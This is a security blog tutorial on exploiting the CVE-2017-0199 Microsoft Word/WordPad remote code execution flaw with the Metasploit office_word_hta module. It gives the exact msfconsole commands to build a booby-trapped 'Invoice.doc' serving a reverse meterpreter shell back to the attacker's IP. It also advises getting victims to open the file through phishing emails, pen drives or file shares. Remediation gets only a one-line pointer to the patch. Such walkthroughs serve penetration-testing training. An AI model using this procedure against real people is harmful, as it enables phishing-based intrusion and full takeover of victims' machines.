Skip to content
SecBytes
Menu
  • Home
  • Sumit Shrivastava (@invad3rsam)
  • Contact Me
Menu

Getting system access using malicious word file

Posted on May 23, 2017January 12, 2020 by Sumit

Microsoft Office Word / Wordpad remote code execution vulnerability allows a remote attacker to execute arbitrary code on the system. An attacker can send specially crafted files which can cause the MS Word / Wordpad to download a remote shell and the attacker can gain access of the system. Once, the attacker has control of the machine, he / she can install a software, create a backdoor, view, modify or delete data, can create users with full permissions.

Exploitation of this vulnerability requires victim to open the file or preview a specially crafted file with the affected version of MS Word / Wordpad. In an email scenario, an attacker can send this file via email to the victim, and convince him to open the file.

Affected Systems

  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2 (32-bit editions)
  • Microsoft Office 2010 Service Pack 2 (64-bit editions)
  • Microsoft Office 2013 Service Pack 1 (32-bit editions)
  • Microsoft Office 2013 Service Pack 1 (64-bit editions)
  • Microsoft Office 2016 (32-bit edition)
  • Microsoft Office 2016 (64-bit edition)
  • Windows 7 for 32-bit Systems Service Pack 1
  • Windows 7 for x64-based Systems Service Pack 1
  • Windows Server 2008 for 32-bit Systems Service Pack 2
  • Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
  • Windows Server 2008 for Itanium-Based Systems Service Pack 2
  • Windows Server 2008 for x64-based Systems Service Pack 2
  • Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
  • Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
  • Windows Server 2012
  • Windows Server 2012 (Server Core installation)
  • Windows Vista Service Pack 2
  • Windows Vista x64 Edition Service Pack 2

Exploitation

As of now there are two exploits that are available to exploit this vulnerability.

  1. https://github.com/bhdresh/CVE-2017-0199 – written in python by Bhadresh and available on Github.
  2. Metasploit module – office_word_hta – available in the metaspolit.

For the first exploit, Bhadresh has given a good explanation on his Github page. I shall be explaining the usage of the metasploit module in this blog.

Step 1: Configuring the metasploit

Open msfconsole and run the following command.

use exploit/windows/fileformat/office_word_hta
set payload windows/meterpreter/reverse_tcp
Exploit Options

Metasploit ‘office_word_hta’ module options

Now we need to configure the server host (SRVHOST) that will serve the HTA file, FILENAME of our specially crafted file, LHOST for the meterpreter payload.

set FILENAME Invoice.doc
set SRVHOST <Attacker's_IP_Address> (172.16.190.1 in my case)
set LHOST <Attacker's_IP_Address> (172.16.190.1 in my case)
Exploit Configured

Metasploit ‘office_word_hta’ configured with the values

Step 2: Executing the exploit

To start the exploitation type ‘run’ in the msf console and hit enter. You should see something like shown in below figure.

Exploit running

Exploit running

The file is created as the filename provided in the configuration in the /Users/<username>/.msf4/local/ directory for Mac OSX users and /home/<username>/.msf4/local/ directory for Linux users.

Now we need to share this file with the victim in order to exploit him. The file can be shared in multiple ways including sending a phishing email or giving it to the victim in a pen drive or maybe via a file share.

Step 3: Gaining Access

Once the victim opens the file in the affected version of Microsoft Office, the shell gets dropped onto his system and a reverse connection is created to the attacker’s system.

System Information

System information and the malicious file on the desktop
Victim Opening the File

Victim opens the malicious file
Reverse Meterpreter

Reverse meterpreter session opens
System Access

Attacker now have access of the system

Remediation

 

Microsoft has released patches to mitigate the issue. The information related to the patch can be found here.

References

  1. https://social.technet.microsoft.com/Search/en-US?query=CVE-2017-0199&ac=4
  2. https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-0199
  3. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0199
  4. https://www.cvedetails.com/google-search-results.php?q=2017-0199
  5. https://www.exploit-db.com/exploits/41934/
  6. https://www.exploit-db.com/exploits/41894/
  7. https://github.com/bhdresh/CVE-2017-0199
  8. https://www.youtube.com/watch?v=42LjG7bAvpg&feature=youtu.be

Share this:

  • Click to share on X (Opens in new window) X
  • Click to share on Facebook (Opens in new window) Facebook

Related

Post navigation

← Shielding your browsing activities from the watchdogs
Capturing NTLM Hashes using Bettercap →

10 thoughts on “Getting system access using malicious word file”

  1. Pingback: family
  2. Pingback: digital camera
  3. Pingback: mental health
  4. Pingback: employment law disputes
  5. Pingback: help starting a small business
  6. Pingback: masters education
    1. Sumit says:
      June 15, 2017 at 4:11 pm

      Thanks for showing the interest in writing blogs for my site. Please send in your details via contact us page.

  7. Pingback: retirement investment advice
  8. Pingback: small business insurance
    1. Sumit says:
      June 15, 2017 at 4:07 pm

      Thanks for your feedback. I will definitely try and write more granular posts.

Comments are closed.

Recent Posts

  • Setting Up Wazuh Server – Part 3 (Wazuh Dashboard)
  • Setting Up Wazuh Server – Part 2 (Wazuh Manager)
  • Setting Up Wazuh Server – Part 1 (Wazuh Indexer)
  • Guide to Creating Virtual Machines from Proxmox Templates
  • Self-Hosted Kubernetes Cluster in your Home Lab

Categories

  • Application Security Assessment (2)
  • Capture The Flag (1)
  • CVE (1)
  • DevSecOps (4)
  • Lab Solution (1)
  • Metasploit (2)
  • Miscellaneous (5)
  • Network Penetration Testing (3)
  • Phishing (1)
  • Tips and Tricks (8)

SecBytes

  • GitHub
  • Twitter
  • Facebook

RSS Exploit DB Update

  • [webapps] Flowise 3.0.4 - Remote Code Execution (RCE) October 31, 2025
    Flowise 3.0.4 - Remote Code Execution (RCE)
  • [webapps] Casdoor 2.95.0 - Cross-Site Request Forgery (CSRF) October 29, 2025
    Casdoor 2.95.0 - Cross-Site Request Forgery (CSRF)
  • [local] Mbed TLS 3.6.4 - Use-After-Free September 16, 2025
    Mbed TLS 3.6.4 - Use-After-Free

Legal

  • Disclaimer
  • Privacy Policy
  • Cookie Policy

Subscribe to Blog via Email

Enter your email address to subscribe to this blog and receive notifications of new posts by email.

© 2025 SecBytes | Powered by Minimalist Blog WordPress Theme
 

Loading Comments...